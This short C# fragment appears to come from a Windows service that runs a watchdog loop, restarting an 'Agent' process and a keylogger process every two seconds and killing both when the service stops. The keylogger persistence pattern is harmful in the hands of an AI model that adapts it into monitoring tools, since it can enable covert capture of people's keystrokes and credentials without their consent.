private void Watchdog() { Thread.CurrentThread.Name = "RunningAgentKL"; while (true) { ProcessHandler.CheckAndStartProcess(Consts.AGENT_NAME, @Consts.AGENT_LOCATION + Consts.AGENT_NAME + ".exe"); ProcessHandler.CheckAndStartProcess(Consts.KEY_LOGGER_NAME, @Consts.KEY_LOGGER_LOCATION + Consts.KEY_LOGGER_NAME + ".exe"); Thread.Sleep(2000); } }
protected override void OnStop() { base.OnStop(); watchdog.Abort(); logsProcessor.Abort(); ProcessHandler.CheckAndSKillProcess("Agent"); ProcessHandler.CheckAndSKillProcess("EyeKeyLoggerP"); if (dataServiceHost != null) { dataServiceHost.Close(); dataServiceHost = null; } }